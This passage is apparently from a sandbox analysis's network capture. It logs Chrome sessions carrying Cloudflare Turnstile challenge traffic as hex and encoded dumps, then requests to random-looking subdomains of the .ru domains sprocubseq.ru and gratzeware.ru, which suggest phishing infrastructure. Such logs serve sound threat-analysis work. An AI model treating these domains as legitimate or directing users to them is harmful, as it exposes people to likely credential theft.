6e 75 42 69 59 6d 41 6e 6e 69 68 67 Data Ascii: je3sXP0PTw8s31zu3ovNTmy7Ld1wG69PrVxAHd9/0CCPv6CuMQCQ3s5dDQ0gTn3P0IAiLhHe4QGBL1KhziCfn87+wwJy02AikAASIDJh45EAs+Ah8VRAVGGRESGQMcGj8hRBEPKC8mV0JELSVHLTMXSzY7LV8xOB5FSkA4QUNITF4uQypibUtTanlQbXtbT29cO1lOPE9XU1ljaFeCimpqekxkbpKVZXJgl3SbbXt5a3V6e5JcdnuBiYmAnnihg
2025-01-13 20:17:30 UTC	1369	IN	Data Raw: 6a 36 2f 61 71 30 4d 6d 37 79 75 32 35 79 2f 48 62 7a 74 54 5a 34 50 6e 7a 33 75 62 38 33 4f 50 70 36 65 54 6b 37 75 37 6a 46 76 44 4f 42 2f 6b 4c 35 52 7a 78 43 68 55 67 37 52 41 5a 45 4f 7a 38 39 78 41 48 47 43 45 47 2f 42 76 39 36 75 38 66 36 52 77 49 4a 42 45 4e 43 52 49 74 38 78 4d 62 2b 66 73 66 47 6a 55 45 48 68 72 39 52 79 59 69 50 43 45 6b 4c 42 78 45 4a 55 45 79 44 52 38 75 49 6c 63 4c 52 31 46 45 4d 6b 70 56 58 79 39 53 48 6a 42 57 51 44 4d 35 50 6b 56 65 57 45 4e 4c 59 55 46 49 54 6b 35 4a 53 56 4e 54 53 48 70 56 4d 32 74 65 62 30 70 2f 4d 32 39 35 59 6b 39 65 56 31 70 54 65 6c 74 46 5a 57 65 46 6a 46 70 69 53 6f 4e 66 63 58 4e 55 65 49 75 4f 66 57 64 35 56 32 79 69 66 58 43 42 62 33 70 65 61 49 6d 49 69 36 78 36 6e 4b 53 77 68 36 4b 44 6e 33 Data Ascii: j6/aq0Mm7yu25y/HbztTZ4Pnz3ub83OPp6eTk7u7jFvDOB/kL5RzxChUg7RAZEOz89xAHGCEG/Bv96u8f6RwIJBENCRIt8xMb+fsfGjUEHhr9RyYiPCEkLBxEJUEyDR8uIlcLR1FEMkpVXy9SHjBWQDM5PkVeWENLYUFITk5JSVNTSHpVM2teb0p/M295Yk9eV1pTeltFZWeFjFpiSoNfcXNUeIuOfWd5V2yifXCBb3peaImIi6x6nKSwh6KDn3
2025-01-13 20:17:30 UTC	1369	IN	Data Raw: 76 4f 7a 66 79 63 33 77 39 37 7a 56 39 4f 55 49 30 2f 6a 46 35 64 67 41 33 75 7a 51 2f 75 4c 37 34 67 55 4e 39 65 51 4b 2b 76 6e 30 44 42 58 39 37 78 48 64 2f 65 34 56 48 66 33 35 47 66 76 31 39 68 37 2b 4a 50 34 66 45 79 67 44 4a 51 63 4f 43 43 77 4c 44 67 77 73 2b 52 6f 52 4c 78 4d 33 42 54 51 39 4a 69 45 34 51 45 77 58 50 52 38 6d 48 55 42 4a 52 43 4a 46 4f 43 49 6b 53 46 46 50 48 55 30 61 4e 69 31 50 4d 7a 34 78 57 44 63 2b 4e 46 6f 37 59 44 78 64 5a 57 42 41 59 53 35 53 54 57 51 79 62 45 5a 70 63 56 5a 4c 62 6c 36 41 54 6e 45 2f 54 6c 42 31 66 57 4a 56 65 45 61 41 56 33 74 66 61 6d 47 45 59 34 52 68 67 33 65 49 61 6f 6c 57 65 56 32 4e 62 6c 6c 35 6b 4a 6d 51 64 70 5a 33 65 6e 53 59 5a 70 78 39 6f 48 2b 67 66 4b 47 44 68 6e 2b 6c 63 71 53 45 71 6f 79 Data Ascii: vOzfyc3w97zV9OUI0/jF5dgA3uzQ/uL74gUN9eQK+vn0DBX97xHd/e4VHf35Gfv19h7+JP4fEygDJQcOCCwLDgws+RoRLxM3BTQ9JiE4QEwXPR8mHUBJRCJFOCIkSFFPHU0aNi1PMz4xWDc+NFo7YDxdZWBAYS5STWQybEZpcVZLbl6ATnE/TlB1fWJVeEaAV3tfamGEY4Rhg3eIaolWeV2Nbll5kJmQdpZ3enSYZpx9oH+gfKGDhn+lcqSEqoy
2025-01-13 20:17:30 UTC	1369	IN	Data Raw: 67 44 69 32 65 62 41 34 4e 33 35 42 73 58 64 37 73 6a 6f 35 39 73 4f 7a 65 58 32 30 50 44 73 45 65 66 57 45 4f 6a 63 36 66 6e 64 49 69 45 59 39 76 6e 39 2b 42 30 43 41 51 45 6d 2b 66 30 67 37 65 6f 68 44 76 45 32 4e 53 77 4c 44 67 63 76 49 41 67 7a 4d 42 38 57 47 52 6b 2b 45 45 4d 39 4f 77 4d 35 50 78 6f 38 4c 79 55 63 44 31 42 4a 53 45 51 75 53 7a 77 6b 57 55 77 36 4c 6a 6b 32 51 7a 42 6a 57 44 49 79 4d 6a 77 6e 4e 47 5a 63 53 30 4a 46 52 47 6f 38 63 6d 64 59 51 48 46 6f 56 54 56 56 55 56 39 4d 65 33 52 4e 68 45 35 62 51 31 42 44 65 47 64 65 59 57 46 4c 57 49 4f 44 62 32 43 57 5a 46 4a 77 69 49 68 33 62 6e 46 7a 57 32 69 69 63 46 35 38 6c 4a 65 49 63 4b 70 34 5a 6f 69 63 6e 49 75 43 68 59 57 45 66 4c 61 45 63 70 53 6f 71 35 79 45 76 6f 78 36 6b 4c 43 77 Data Ascii: gDi2ebA4N35BsXd7sjo59sOzeX20PDsEefWEOjc6fndIiEY9vn9+B0CAQEm+f0g7eohDvE2NSwLDgcvIAgzMB8WGRk+EEM9OwM5Pxo8LyUcD1BJSEQuSzwkWUw6Ljk2QzBjWDIyMjwnNGZcS0JFRGo8cmdYQHFoVTVVUV9Me3RNhE5bQ1BDeGdeYWFLWIODb2CWZFJwiIh3bnFzW2iicF58lJeIcKp4ZoicnIuChYWEfLaEcpSoq5yEvox6kLCw

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.4	62517	104.18.94.41	443	5448	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-13 20:17:31 UTC	597	OUT	GET /cdn-cgi/challenge-platform/h/b/flow/ov1/96814495:1736795532:nJXw9Ah0pI6fzqrx22pZro_KXGNUez3UM1CqCt48c0k/901811ce6a59f797/SqHJKs8exbFsfL4KJGZRtjDgYmuZPCAhWd_Oxx0AfCQ-1736799444-1.1.1.1-gGlU83ndyztubqFBjCzXdA7A3uP488eZSY.x86ExPFOBCuCevviS4nJ5V2tdnVFB HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-13 20:17:31 UTC	442	IN	HTTP/1.1 400 Bad Request Date: Mon, 13 Jan 2025 20:17:31 GMT Content-Type: application/json Content-Length: 14 Connection: close cache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 cf-chl-out: SF9NaQqK92/wF6xvJKeIth/ptPVHoSjpGPiyELjCOwIYqAN2hZe+Nu9/K6d+79lUwwW+Z7UKa/bKnK7PgQezPg==$CnoCZYs5QYOwBt6rcNPAkg== Server: cloudflare CF-RAY: 901811fc282dc356-EWR alt-svc: h3=":443"; ma=86400
2025-01-13 20:17:31 UTC	14	IN	Data Raw: 7b 22 65 72 72 22 3a 31 30 30 32 33 30 7d Data Ascii: {"err":100230}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.2.4	62518	104.18.94.41	443	5448	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-13 20:17:34 UTC	1170	OUT	POST /cdn-cgi/challenge-platform/h/b/flow/ov1/96814495:1736795532:nJXw9Ah0pI6fzqrx22pZro_KXGNUez3UM1CqCt48c0k/901811ce6a59f797/SqHJKs8exbFsfL4KJGZRtjDgYmuZPCAhWd_Oxx0AfCQ-1736799444-1.1.1.1-gGlU83ndyztubqFBjCzXdA7A3uP488eZSY.x86ExPFOBCuCevviS4nJ5V2tdnVFB HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive Content-Length: 34884 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Content-type: application/x-www-form-urlencoded CF-Chl-RetryAttempt: 1 sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 CF-Challenge: SqHJKs8exbFsfL4KJGZRtjDgYmuZPCAhWd_Oxx0AfCQ-1736799444-1.1.1.1-gGlU83ndyztubqFBjCzXdA7A3uP488eZSY.x86ExPFOBCuCevviS4nJ5V2tdnVFB sec-ch-ua-platform: "Windows" Accept: / Origin: https://challenges.cloudflare.com Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv/0jlnl/0x4AAAAAAA4pKB1cuuqOF-N1/auto/fbE/normal/auto/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-13 20:17:34 UTC	16384	OUT	Data Raw: 76 5f 39 30 31 38 31 31 63 65 36 61 35 39 66 37 39 37 3d 79 78 50 30 75 43 73 49 6d 2d 78 33 78 33 4b 78 73 41 73 2d 38 48 72 2d 73 43 33 7a 33 4f 30 32 74 42 76 4e 33 6d 30 6a 78 76 51 33 4d 47 73 48 5a 4f 73 4e 33 68 65 33 76 48 30 33 58 33 53 30 6a 50 33 4d 33 46 42 33 69 76 33 41 70 33 39 75 33 78 30 5a 33 46 4f 33 67 33 57 4f 33 49 72 69 4e 36 41 33 6b 41 59 50 65 48 4f 33 35 77 69 24 43 33 4e 48 73 36 33 69 44 72 48 75 4d 33 76 50 73 31 71 33 47 77 4b 4b 41 33 33 42 6d 33 68 57 33 33 72 4b 77 49 33 47 79 4a 33 33 54 35 48 77 66 49 4e 48 41 33 24 38 50 62 4e 6a 75 42 61 50 33 32 4e 38 32 48 65 56 77 35 72 41 4f 73 47 59 76 33 6f 46 59 78 33 41 79 48 36 48 48 55 68 69 4b 42 4e 71 6b 6a 48 62 4c 4e 30 41 4b 5a 52 51 59 6a 61 51 68 58 30 45 4c 32 41 56 Data Ascii: v_901811ce6a59f797=yxP0uCsIm-x3x3KxsAs-8Hr-sC3z3O02tBvN3m0jxvQ3MGsHZOsN3he3vH03X3S0jP3M3FB3iv3Ap39u3x0Z3FO3g3WO3IriN6A3kAYPeHO35wi$C3NHs63iDrHuM3vPs1q3GwKKA33Bm3hW33rKwI3GyJ33T5HwfINHA3$8PbNjuBaP32N82HeVw5rAOsGYv3oFYx3AyH6HHUhiKBNqkjHbLN0AKZRQYjaQhX0EL2AV
2025-01-13 20:17:34 UTC	16384	OUT	Data Raw: 4b 58 4b 73 67 57 47 59 2d 65 4e 48 32 6e 61 64 70 30 73 56 33 51 33 57 33 43 30 43 67 33 50 33 41 4f 73 59 33 31 33 41 48 76 69 33 68 30 46 44 73 38 33 4f 49 41 42 76 4c 65 58 33 72 6f 76 66 4f 30 30 5a 50 33 4e 33 67 65 33 6d 33 45 33 68 78 43 33 43 74 33 6a 30 47 6d 33 72 33 76 30 5a 71 4a 69 33 54 30 46 33 73 78 73 59 31 6d 65 76 78 4b 43 42 32 33 43 63 61 58 79 50 78 73 47 33 43 48 73 41 76 49 48 4a 55 4d 72 33 49 41 7a 41 47 33 76 42 30 4d 47 37 30 73 2d 33 36 30 4c 51 76 64 61 74 34 77 63 52 49 33 4a 33 6e 63 4a 50 33 74 33 73 30 43 4e 30 5a 46 41 48 43 59 33 4a 30 79 48 73 59 33 55 30 50 4f 76 73 4f 66 78 50 30 47 43 33 24 30 43 33 73 4e 33 5a 4b 72 30 46 45 33 72 30 32 4f 73 74 33 62 30 56 6d 73 48 33 31 33 72 42 33 41 73 24 30 47 30 72 41 33 47 Data Ascii: KXKsgWGY-eNH2nadp0sV3Q3W3C0Cg3P3AOsY313AHvi3h0FDs83OIABvLeX3rovfO00ZP3N3ge3m3E3hxC3Ct3j0Gm3r3v0ZqJi3T0F3sxsY1mevxKCB23CcaXyPxsG3CHsAvIHJUMr3IAzAG3vB0MG70s-360LQvdat4wcRI3J3ncJP3t3s0CN0ZFAHCY3J0yHsY3U0POvsOfxP0GC3$0C3sN3ZKr0FE3r02Ost3b0VmsH313rB3As$0G0rA3G
2025-01-13 20:17:34 UTC	2116	OUT	Data Raw: 38 73 53 66 58 42 57 61 41 74 68 53 4f 43 62 2d 46 42 58 6b 38 66 6c 42 50 45 30 47 55 41 43 33 30 6c 66 5a 50 4b 32 48 30 6b 79 49 57 32 6a 6b 42 36 62 30 58 4f 71 48 36 6c 2d 6f 30 56 4c 51 33 36 30 2d 38 30 4f 33 47 33 58 33 56 58 72 4d 48 55 58 48 4c 77 4e 47 65 4f 2d 63 41 61 32 42 33 33 50 33 67 77 68 43 6d 59 59 47 33 62 4f 56 49 33 44 51 31 33 5a 41 76 6c 32 48 76 57 38 4f 4f 75 47 48 4c 59 38 6d 30 61 33 33 35 41 76 4d 32 33 4c 6f 54 4f 33 70 42 58 34 52 6d 4a 53 4f 33 4f 33 55 33 57 36 69 48 6a 79 73 6a 78 34 47 49 46 31 73 69 73 41 69 64 4b 48 6f 4b 68 7a 41 50 52 43 42 74 4d 47 77 52 52 35 36 72 74 66 6f 33 43 65 76 50 33 43 4f 4d 70 74 73 33 36 30 5a 75 33 6d 30 77 63 48 49 51 43 33 78 77 53 44 64 6b 71 6e 59 4e 31 24 48 62 6b 30 79 6d 43 34 Data Ascii: 8sSfXBWaAthSOCb-FBXk8flBPE0GUAC30lfZPK2H0kyIW2jkB6b0XOqH6l-o0VLQ360-80O3G3X3VXrMHUXHLwNGeO-cAa2B33P3gwhCmYYG3bOVI3DQ13ZAvl2HvW8OOuGHLY8m0a335AvM23LoTO3pBX4RmJSO3O3U3W6iHjysjx4GIF1sisAidKHoKhzAPRCBtMGwRR56rtfo3CevP3COMpts360Zu3m0wcHIQC3xwSDdkqnYN1$Hbk0ymC4
2025-01-13 20:17:34 UTC	1347	IN	HTTP/1.1 200 OK Date: Mon, 13 Jan 2025 20:17:34 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 4624 Connection: close cf-chl-out-s: eq6ps8rmmd2FLEKHOfkuHFul2Tys5zqFsb0p5XPtgq2ZKR331UjlTQvjnpE5anpK6o+ZlKLrMgdRnczNno2dXe6aMs8QTq65sjyaM94f4YDo7C7BbEckO1hJAToqNhnYA1U20bXe18nH4ykGtdayTSU6C/WCVozcxW7tOSnS1f7cK1HgD+y+RwGpyHYzYhJdLXJ5NyfFZ7/i/BuBtL2KQN4BHoJo2gfs/NPwMWT/6c4Zmv1aFuZmRYfJg5kLTxvEFe7mzBWLe97x/uTKdVDgLJtlvcLA+gTKNT6JYqbeUKkulnZTLdrGoYQRl0ATcEcxpO6xXH+YJHocRXPZ4dpgSzMLu4u0JTl3Z6mIT3hZmdxfJ4Px842sR10C0x8FoIRBRnry2/FnY1edgCCFU3+hyv+qYqYl6OyKv2B/W41K2LFGLL4sHwE/7UXHbgHSW2Q6/8SwKo7Ha2biiBoDyH1sc4ObvK9aX8ED2BJWFHRUxlr4j5tp74TuFDCcOuAhRR4Y3gldtsTSwaZowP5Sh1Wz6X4dcIt7ZFRWzMHNNNIfoqt/mGW4su2QI0QvAyMuswv7V9qEwfwDTMBwga729+oP5qLqI3TU9M7hSKaz+AIbCrH1xIiJcbM5QxGs/8VoclemWxnAt+DgdTSlhXLmNtwStqRsJvgoOWMKTfeEQsyqoZv6h/7IQ4L9K5PGvclGI+3plTKWMZEoO8To1J9crd3/ZD1sSo5i4nFQ+JEVk6iUFoATp/i3y0NKoHDWEnaVLbo2F57sfussU/5v5AwOfc12Sw+znnuA2Qknnj39N+ewiOcfKEqVt9wecofApYqzKOC9ViAoUYE5Tuc4FJUKpbwM1eXRbghMA/DjSdMqMik3Q5Ye5ALzAqaPhIH75ds5UDBGwwUwK1lNiUveEVtyAIqff/elcfh/dzBc1487yy5dqGhqfMRRrUqj1Pa3airW4zEyJZ1cttMhIHY1ckAWX9pMqoOSTAH61nzHP4+Bec1qq/I=$+FdB3 [TRUNCATED] cf-chl-out: /nKJLLuI4Y19pILTxxb/Gd+m1bLAWvh5vVMoeK6WQISfGpijfWIbdr8kMrgHGAytPAc39T19gJaeKVIqWhF/bDkuKK0P5Mqa7twKjWUqoeM=$xlQTTRZCaW+XYuTUPH4MuA== Server: cloudflare
2025-01-13 20:17:34 UTC	62	IN	Data Raw: 43 46 2d 52 41 59 3a 20 39 30 31 38 31 32 30 63 63 62 63 34 37 32 38 37 2d 45 57 52 0d 0a 61 6c 74 2d 73 76 63 3a 20 68 33 3d 22 3a 34 34 33 22 3b 20 6d 61 3d 38 36 34 30 30 0d 0a 0d 0a Data Ascii: CF-RAY: 9018120ccbc47287-EWRalt-svc: h3=":443"; ma=86400
2025-01-13 20:17:34 UTC	1329	IN	Data Raw: 6d 4b 47 61 78 63 75 61 78 4b 33 41 69 6f 6d 72 76 73 61 6f 6b 34 37 51 73 64 44 47 71 63 65 55 78 70 69 38 32 71 43 78 7a 4c 48 61 34 72 37 61 36 62 37 41 79 4b 43 6d 71 72 2f 6f 30 2b 76 70 31 72 4c 76 37 64 72 59 74 63 2f 63 39 50 4f 35 30 4c 36 2f 30 38 44 34 32 50 66 62 35 64 77 41 34 2b 76 59 42 66 41 53 78 75 50 32 31 66 59 43 45 42 54 32 42 39 63 66 36 75 38 45 39 67 30 4f 49 76 6f 56 48 69 49 42 4a 77 63 65 4a 50 72 71 4b 67 63 55 45 79 30 4a 4f 53 77 76 4e 52 66 31 39 7a 38 54 45 43 4d 74 4f 53 35 43 51 53 63 4a 51 68 38 31 42 30 63 69 49 30 51 4d 55 79 73 6b 4e 78 51 57 54 56 73 76 46 78 59 61 53 55 41 39 4f 78 77 36 48 32 4a 68 51 47 74 6a 4e 79 51 6e 61 6c 31 4b 4d 6a 73 38 62 55 70 69 53 55 6c 45 65 58 42 55 66 30 78 77 50 48 35 57 55 58 6c Data Ascii: mKGaxcuaxK3Aiomrvsaok47QsdDGqceUxpi82qCxzLHa4r7a6b7AyKCmqr/o0+vp1rLv7drYtc/c9PO50L6/08D42Pfb5dwA4+vYBfASxuP21fYCEBT2B9cf6u8E9g0OIvoVHiIBJwceJPrqKgcUEy0JOSwvNRf19z8TECMtOS5CQScJQh81B0ciI0QMUyskNxQWTVsvFxYaSUA9Oxw6H2JhQGtjNyQnal1KMjs8bUpiSUlEeXBUf0xwPH5WUXl
2025-01-13 20:17:34 UTC	1369	IN	Data Raw: 34 75 66 67 6f 61 6b 6a 47 79 4b 74 36 75 49 69 62 79 52 69 61 65 4a 72 34 75 6a 74 4c 70 38 6f 6e 36 45 70 4c 4f 5a 72 49 53 6d 6d 63 72 41 72 35 36 78 74 4b 75 68 71 4d 75 30 7a 61 6a 53 73 4b 6e 53 32 73 50 57 7a 37 44 48 6e 75 62 71 78 4d 6d 30 35 73 48 4d 33 37 37 4e 39 4d 54 73 7a 39 4c 69 74 4d 33 37 2b 75 72 61 74 73 6e 61 33 72 76 59 2f 74 7a 36 35 64 7a 65 31 76 63 46 33 39 72 5a 36 4f 4d 56 41 41 66 79 43 51 66 51 36 68 44 6c 2b 66 6a 39 2f 51 48 2b 4a 42 6a 76 2f 67 55 58 49 50 77 4b 39 51 77 50 2b 67 37 37 42 42 49 4b 4b 68 49 43 4f 44 51 5a 42 76 4d 2f 47 66 59 42 4f 43 41 67 49 6a 51 65 53 41 45 38 48 78 67 70 52 53 63 61 53 43 51 75 4c 6b 73 54 4b 53 4a 55 54 54 55 6f 47 42 63 79 4b 6a 6c 69 50 44 46 55 4f 54 70 43 56 79 46 41 58 47 64 74 Data Ascii: 4ufgoakjGyKt6uIibyRiaeJr4ujtLp8on6EpLOZrISmmcrAr56xtKuhqMu0zajSsKnS2sPWz7DHnubqxMm05sHM377N9MTsz9LitM37+uratsna3rvY/tz65dze1vcF39rZ6OMVAAfyCQfQ6hDl+fj9/QH+JBjv/gUXIPwK9QwP+g77BBIKKhICODQZBvM/GfYBOCAgIjQeSAE8HxgpRScaSCQuLksTKSJUTTUoGBcyKjliPDFUOTpCVyFAXGdt
2025-01-13 20:17:34 UTC	1369	IN	Data Raw: 5a 6f 6c 36 71 78 65 6f 36 51 6a 72 47 7a 77 48 71 38 71 33 36 6c 76 72 43 54 6b 38 53 65 71 73 33 4a 6f 61 2b 70 7a 63 43 6a 73 70 44 48 6f 64 50 58 70 37 6d 77 33 39 54 56 30 71 76 56 31 38 50 41 77 71 54 4a 31 2b 6a 4a 33 74 71 75 78 71 66 77 33 73 2b 39 39 75 4c 70 79 73 6a 5a 38 65 32 39 39 4e 62 4e 7a 2f 58 74 76 4f 37 6c 42 41 48 79 31 51 66 45 37 2b 6e 63 44 4f 54 74 33 4d 7a 71 39 4f 58 6c 39 2f 62 74 2b 75 38 52 38 42 48 2b 46 75 33 31 2f 67 50 35 48 78 50 31 2f 43 41 4d 43 77 6f 6f 44 43 51 6b 42 77 63 46 42 66 4d 54 39 43 73 78 48 51 77 2f 4d 68 55 32 46 68 63 5a 53 54 39 47 49 44 77 71 52 43 38 48 53 45 49 75 56 53 70 46 50 79 4a 49 4a 7a 41 71 4f 55 30 79 4c 6b 39 66 51 7a 35 55 51 55 42 6f 56 32 5a 46 49 32 42 43 53 32 49 74 59 30 78 31 50 Data Ascii: Zol6qxeo6QjrGzwHq8q36lvrCTk8Seqs3Joa+pzcCjspDHodPXp7mw39TV0qvV18PAwqTJ1+jJ3tquxqfw3s+99uLpysjZ8e299NbNz/XtvO7lBAHy1QfE7+ncDOTt3Mzq9OXl9/bt+u8R8BH+Fu31/gP5HxP1/CAMCwooDCQkBwcFBfMT9CsxHQw/MhU2FhcZST9GIDwqRC8HSEIuVSpFPyJIJzAqOU0yLk9fQz5UQUBoV2ZFI2BCS2ItY0x1P
2025-01-13 20:17:34 UTC	557	IN	Data Raw: 76 74 34 36 4a 65 37 6d 59 6b 61 36 38 6d 4b 57 79 68 71 65 56 71 61 53 6b 76 35 79 4b 71 73 66 44 70 71 62 59 73 61 61 30 6c 4d 75 79 72 37 79 35 72 72 79 61 30 39 65 35 73 72 47 36 76 62 57 31 79 73 2f 66 77 4f 6e 4c 77 4d 58 4d 31 39 4c 6d 72 39 62 74 30 64 44 58 32 2f 62 77 30 62 72 4d 2b 64 55 49 38 77 44 69 77 74 54 44 34 41 44 51 33 66 72 74 36 66 4c 6d 34 75 48 31 38 76 6e 35 38 65 37 57 46 39 72 31 2f 66 54 66 43 50 58 77 4b 68 4d 74 49 79 34 4c 44 68 77 4c 43 7a 55 56 4b 78 4d 53 49 7a 6b 4f 47 42 34 4a 47 78 34 5a 2b 68 74 46 4a 68 63 68 53 52 70 44 49 52 63 74 42 54 63 72 4d 6b 55 37 4d 6b 4d 4e 50 79 4d 32 54 7a 42 4e 4d 52 6b 30 50 6a 6b 63 52 45 49 32 57 54 77 32 52 53 4a 4c 4a 57 42 6a 51 33 46 4b 5a 30 6c 43 50 6d 70 4d 52 6c 5a 6f 58 47 Data Ascii: vt46Je7mYka68mKWyhqeVqaSkv5yKqsfDpqbYsaa0lMuyr7y5rrya09e5srG6vbW1ys/fwOnLwMXM19Lmr9bt0dDX2/bw0brM+dUI8wDiwtTD4ADQ3frt6fLm4uH18vn58e7WF9r1/fTfCPXwKhMtIy4LDhwLCzUVKxMSIzkOGB4JGx4Z+htFJhchSRpDIRctBTcrMkU7MkMNPyM2TzBNMRk0PjkcREI2WTw2RSJLJWBjQ3FKZ0lCPmpMRlZoXG

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.2.4	62519	104.18.94.41	443	5448	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-13 20:17:34 UTC	597	OUT	GET /cdn-cgi/challenge-platform/h/b/flow/ov1/96814495:1736795532:nJXw9Ah0pI6fzqrx22pZro_KXGNUez3UM1CqCt48c0k/901811ce6a59f797/SqHJKs8exbFsfL4KJGZRtjDgYmuZPCAhWd_Oxx0AfCQ-1736799444-1.1.1.1-gGlU83ndyztubqFBjCzXdA7A3uP488eZSY.x86ExPFOBCuCevviS4nJ5V2tdnVFB HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-13 20:17:35 UTC	375	IN	HTTP/1.1 404 Not Found Date: Mon, 13 Jan 2025 20:17:35 GMT Content-Type: application/json Content-Length: 7 Connection: close cache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 cf-chl-out: kgFulixn7pd/++V89LhcAQ==$5/ak967iJ0C1JgJ5yK9uCQ== Server: cloudflare CF-RAY: 90181211ba5b43ca-EWR alt-svc: h3=":443"; ma=86400
2025-01-13 20:17:35 UTC	7	IN	Data Raw: 69 6e 76 61 6c 69 64 Data Ascii: invalid

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
33	192.168.2.4	62520	172.67.195.229	443	5448	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-13 20:17:35 UTC	659	OUT	GET /62190608796284312sOlJKBEDVSFWZHAWGEBTDPCMQAITFOYRAAZFHNYTN HTTP/1.1 Host: ujqgyqodot2l3kjhgmdl2kve0si349y51vpck7h7q5ci0uotp0qkp.sprocubseq.ru Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Origin: https://8zkl.gratzeware.ru Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://8zkl.gratzeware.ru/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-13 20:17:35 UTC	897	IN	HTTP/1.1 200 OK Date: Mon, 13 Jan 2025 20:17:35 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Access-Control-Allow-Origin: * cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=adShBH3TtjMFgLcLu3F6Olgw2GvTL5EEZNtaqL0WfA6BuulpGYJ6%2FryyfxuxW4e%2F8iq29EMyLjUdUtWeW5vEfv%2B6tMLjky%2F883r0jMCa90YMjLWLveBSpb8L7ZwltMtX4kANMrd%2BO6pzChZlcrJ%2FwhZ%2BuDvBnkZaffvyqK7tk69hVodea%2F%2BymGlSmC5VaYnlZWno9rXf"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 901812124fca0c9e-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1625&min_rtt=1609&rtt_var=635&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2834&recv_bytes=1237&delivery_rate=1680092&cwnd=57&unsent_bytes=0&cid=1f26fc5748d3850b&ts=594&x=0"
2025-01-13 20:17:35 UTC	6	IN	Data Raw: 31 0d 0a 31 0d 0a Data Ascii: 11
2025-01-13 20:17:35 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
34	192.168.2.4	62524	172.67.195.229	443	5448	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-13 20:17:36 UTC	449	OUT	GET /62190608796284312sOlJKBEDVSFWZHAWGEBTDPCMQAITFOYRAAZFHNYTN HTTP/1.1 Host: ujqgyqodot2l3kjhgmdl2kve0si349y51vpck7h7q5ci0uotp0qkp.sprocubseq.ru Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-13 20:17:37 UTC	898	IN	HTTP/1.1 200 OK Date: Mon, 13 Jan 2025 20:17:37 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Access-Control-Allow-Origin: * cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=ASo%2F08uUYc3BmuSI%2B3ZUSoOKjNuGpHj%2Frb5%2FapEP7g3Pcv8Y4IcRhr0OujoXYWSN3K%2F9KR22OjL6G3Qq%2FHxBnKxHYxvgznl0Yfq8e3NE01ybtJv81xhla%2FhQ5ADwNAq3LLWvvhAct%2Bi6M08K4vMgk9tF6B0AVhfHWbUotnDxuLIhwa%2FZFDui6sQleRaoe4l4bbhPWT3B"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 9018121cfa85c3eb-EWR alt-svc: h3=":443"; ma=86400 server-timing: 